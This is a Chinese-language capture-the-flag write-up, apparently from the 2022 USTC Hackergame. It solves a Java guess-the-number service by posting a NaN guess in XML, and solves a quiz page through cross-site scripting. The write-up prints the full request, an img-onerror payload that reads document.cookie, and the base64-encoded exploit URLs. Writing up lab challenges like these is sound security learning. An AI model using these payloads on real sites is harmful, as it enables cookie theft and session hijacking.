吃到五边形的「嫩牛七方」一直是你这十多来以来的梦想,但囊中羞涩的你,自然是没有办法付得起这 50 块的高价。一周一度的星期四悄然到来,你在各大社交平台发遍了文案,也没有找到人转给你这 50 块钱。这样的悲惨境遇难免使你开始思考人生,在不怀希望的等候中你盯着手机中空旷的点赞通知,思绪却渐渐飘向了这个学期的原子物理。在那里的生活的电子们成群结对,不受制于世俗的欲望却能幸福地在原子轨道间跃迁。可能唯一的缺憾就是诞生了一门完全无法理解的学科,里面的公式如同由符号们随机排列组合构成。这使你想到了你在程序设计课上的作业——一个猜数字小游戏。这个小游戏需要做的事情非常简单:在 0 和 1 之间猜一个数字(精确到小数点后 6 位),并通过反馈的「大」还是「小」修正猜测,直至完全猜中。一次性命中的概率显然也是一百万分之一(和五边形的「嫩牛七方」达成了某种意义上的同构)——但从学霸室友手中借来的概率论与统计学笔记上万千公式的模样在思绪中一瞬而过,于是你默默祈祷着大数定理,虔诚地按下了提交的按钮。

(真会编故事啊

http://202.38.93.111:18000/

这玩意居然还会自动帮你做二分!

给了 jvav 源码,比较相关的部分如下

   public String flag() {
      var prefix = System.getenv(FLAG_PREFIX);
      var input = System.getenv(FLAG_SECRET) + ":" + this.raw;
      var digest = SHA256_DIGEST.digest(input.getBytes(StandardCharsets.UTF_8));
      return String.format("flag{%s-%016x}", prefix, ByteBuffer.wrap(digest).getLong());
   }
}

private record State(Token token, int passed, int talented, double number, OptionalDouble previous) {
   private static final Random RNG = new SecureRandom();

   private State(Token token) {
      this(token, 0, 0, RNG.nextInt(1, 1000000) * 1e-6, OptionalDouble.empty());
   }

   private void collect(XMLStreamWriter writer) throws XMLStreamException {
      writer.writeStartDocument();
      // <state>
      writer.writeStartElement("state");
      // <name>
      writer.writeStartElement("name");
      writer.writeCharacters(this.token.user());
      writer.writeEndElement();
      // </name><passed>
      writer.writeStartElement("passed");
      writer.writeCharacters(Integer.toString(this.passed));
      writer.writeEndElement();
      // </passed><talented>
      writer.writeStartElement("talented");
      writer.writeCharacters(Integer.toString(this.talented));
      writer.writeEndElement();
      // </talented>
      if (this.previous.isPresent()) {
         // <guess>
         var previous = this.previous.getAsDouble();

         var isLess = previous < this.number - 1e-6 / 2;
         var isMore = previous > this.number + 1e-6 / 2;

         writer.writeStartElement("guess");
         writer.writeAttribute("less", Boolean.toString(isLess));
         writer.writeAttribute("more", Boolean.toString(isMore));
         writer.writeCharacters(Double.toString(previous));
         writer.writeEndElement();
         // </guess>
      }
      if (this.talented > 0) {
         // <flag>
         writer.writeStartElement("flag");
         writer.writeCharacters(this.token.flag());
         writer.writeEndElement();
         // </flag>
      }
      writer.writeEndElement();
      // </state>
   }

   private State update(XMLEventReader reader) throws XMLStreamException {
      var result = Optional.<State>empty();
      var nameStack = new Stack<String>();
      while (reader.hasNext()) {
         var event = reader.nextEvent();
         if (event.isStartElement()) {
            var name = event.asStartElement().getName().getLocalPart();
            nameStack.push(name);
         }
         if (event.isEndElement()) {
            if (nameStack.empty()) throw new XMLStreamException();
            var name = event.asEndElement().getName().getLocalPart();
            if (!name.equals(nameStack.pop())) throw new XMLStreamException();
         }
         if (event.isCharacters()) {
            var path = List.of("state", "guess");
            if (!path.equals(nameStack)) continue;
            if (result.isPresent()) throw new XMLStreamException();
            try {
               var guess = Double.parseDouble(event.asCharacters().getData());

               var isLess = guess < this.number - 1e-6 / 2;
               var isMore = guess > this.number + 1e-6 / 2;

               var isPassed = !isLess && !isMore;
               var isTalented = isPassed && this.previous.isEmpty();

               var newPassed = isPassed ? this.passed + 1 : this.passed;
               var newTalented = isTalented ? this.talented + 1 : this.talented;
               var newNumber = isPassed ? RNG.nextInt(1, 1000000) * 1e-6 : this.number;
               var newPrevious = isPassed ? OptionalDouble.empty() : OptionalDouble.of(guess);

               result = Optional.of(new State(this.token, newPassed, newTalented, newNumber, newPrevious));
            } catch (NumberFormatException e) {
               throw new XMLStreamException(e);
            }
         }
      }
      if (!nameStack.empty()) throw new XMLStreamException();
      if (result.isEmpty()) throw new XMLStreamException();
      return result.get();
   }
}

private static void dispatch(com.sun.net.httpserver.HttpExchange exchange) throws IOException {
   var method = exchange.getRequestMethod().toUpperCase(Locale.ROOT);
   switch (method + ' ' + exchange.getRequestURI().getPath()) {
      case "HEAD /", "HEAD /index.html", "HEAD /github-markdown.css" -> head(exchange);
      case "HEAD /GuessNumber.java", "HEAD /state" -> head(exchange);
      case "GET /", "GET /index.html" -> index(exchange);
      case "GET /github-markdown.css" -> style(exchange);
      case "GET /GuessNumber.java" -> source(exchange);
      case "POST /state" -> update(exchange);
      case "GET /state" -> collect(exchange);
      default -> bad(exchange);
   }
}

这里需要 isLessisMore 均为假,一种情况肯定是一次猜对了,还有一种情况就是比较出错返回 false

一想,是不是 NaN (Not a Number) 呢?

试一下,果然!

构造 payload

POST /state HTTP/1.1
Host: 202.38.93.111:18000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://202.38.93.111:18000/
authorization: Bearer xxxxxxxxxxxxxxxxxxxxxx
Content-Type: text/plain;charset=UTF-8
Content-Length: 33
Origin: http://202.38.93.111:18000
Connection: keep-alive
Cookie: session=xxxxxxxxxxxxxx

<state><guess>NaN</guess></state>

打过去,再访问 http://202.38.93.111:18000/state

返回包里就有 flag 了

<?xml version="1.0" ?><state><name>36</name><passed>3</passed><talented>1</talented><flag>flag{gu3ss-n0t-a-numb3r-1nst3ad-f9c5df036092eada}</flag></state>

微积分计算小练习

小 X 作为某门符号计算课程的助教,为了让大家熟悉软件的使用,他写了一个小网站:上面放着五道简单的题目,只要输入姓名和题目答案,提交后就可以看到自己的分数。

点击此链接访问练习网站

想起自己前几天在公众号上学过的 Java 设计模式免费试听课,本着前后端离心(咦?是前后端离心吗?还是离婚?离。。离谱?总之把功能能拆则拆就对啦)的思想,小 X 还单独写了一个程序,欢迎同学们把自己的成绩链接提交上来。

总之,因为其先进的设计思想,需要同学们做完练习之后手动把成绩连接贴到这里来:

点击此链接提交练习成绩 URL

点击下方的「打开/下载题目」按钮,查看接收成绩链接的程序的源代码。

提示:

  1. 不必输入自己真实的姓名;
  2. 根据比赛规则,请勿分享自己的链接,或点击其他人分享的链接

是 XSS 啊,给了 bot 源码

# Copyright 2022 USTC-Hackergame
# Copyright 2021 PKU-GeekGame
# 
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
# 
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
# 
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
# 
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
# 
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

from selenium import webdriver
import selenium
import sys
import time
import urllib.parse
import os
# secret.py will NOT be revealed to players
from secret import FLAG, BOT_SECRET

LOGIN_URL = f'http://web/?bot={BOT_SECRET}'

print('Please submit your quiz URL:')
url = input('> ')

# URL replacement
# In our environment bot access http://web
# If you need to test it yourself locally you should adjust LOGIN_URL and remove the URL replacement source code
# and write your own logic to use your own token to "login" with headless browser
parsed = urllib.parse.urlparse(url)
parsed = parsed._replace(netloc="web", scheme="http")
url = urllib.parse.urlunparse(parsed)

print(f"Your URL converted to {url}")

try:
    options = webdriver.ChromeOptions()
    options.add_argument('--no-sandbox') # sandbox not working in docker
    options.add_argument('--headless')
    options.add_argument('--disable-gpu')
    options.add_argument('--user-data-dir=/dev/shm/user-data')
    os.environ['TMPDIR'] = "/dev/shm/"
    options.add_experimental_option('excludeSwitches', ['enable-logging'])

    with webdriver.Chrome(options=options) as driver:
        ua = driver.execute_script('return navigator.userAgent')
        print(' I am using', ua)

        print('- Logining...')
        driver.get(LOGIN_URL)
        time.sleep(4)

        print(' Putting secret flag...')
        driver.execute_script(f'document.cookie="flag={FLAG}"')
        time.sleep(1)

        print('- Now browsing your quiz result...')
        driver.get(url)
        time.sleep(4)

        try:
            greeting = driver.execute_script(f"return document.querySelector('#greeting').textContent")
            score = driver.execute_script(f"return document.querySelector('#score').textContent")
        except selenium.common.exceptions.JavascriptException:
            print('JavaScript Error: Did you give me correct URL?')
            exit(1)

        print("OK. Now I know that:")
        print(greeting)
        print(score)

    print('- Thank you for joining my quiz!')

except Exception as e:
    print('ERROR', type(e))
    import traceback
    traceback.print_exception(*sys.exc_info(), limit=0, file=None, chain=False)

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.119 Safari/537.36

这个 share 链接是个 base64 编码的以 分数:姓名 格式的字符串

前端的 script 如下

function click() {
var url = window.location.href;
var input = document.createElement('input');
input.setAttribute('readonly', 'readonly');
input.setAttribute('value', url);
document.body.appendChild(input);
input.select();
if (document.execCommand('copy')) {
document.execCommand('copy');
alert('已复制到剪贴板');
}
document.body.removeChild(input);
}

document.querySelector("#copy").addEventListener("click", click);

const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const result = urlParams.get('result');
const b64decode = atob(result);
const colon = b64decode.indexOf(":");
const score = b64decode.substring(0, colon);
const username = b64decode.substring(colon + 1);

document.querySelector("#greeting").innerHTML = "您好," + username + "!";
document.querySelector("#score").innerHTML = "您在练习中获得的分数为 <b>" + score + "</b>/100。";

不懂为啥,如果 payload 这里面如果带了 <script> 还是啥的一些字符会报错 Internal Server Error,应该是 flask 后端炸了的感觉

随意改了改 payload,可以实现弹窗

100</b><img/src=1 onerror=alert(1)>:miao

http://202.38.93.111:10056/share?result=MTAwPC9iPjxpbWcvc3JjPTEgb25lcnJvcj1hbGVydCgxKT46bWlhbw==

构造 payload

100</b><img/src=1 onerror="document.querySelector('#score').textContent=document.cookie">:miao

http://202.38.93.111:10056/share?result=MTAwPC9iPjxpbWcvc3JjPTEgb25lcnJvcj0iZG9jdW1lbnQucXVlcnlTZWxlY3RvcignI3Njb3JlJykudGV4dENvbnRlbnQ9ZG9jdW1lbnQuY29va2llIj46bWlhbw==

打远程

flag{xS5_1OI_is_N0t_SOHARD_e3c7ac115c}

小结

这一篇里是一些难度稍微简单的题目,后面两篇主要包括下面这些题,难度大一些(

(溜了溜了喵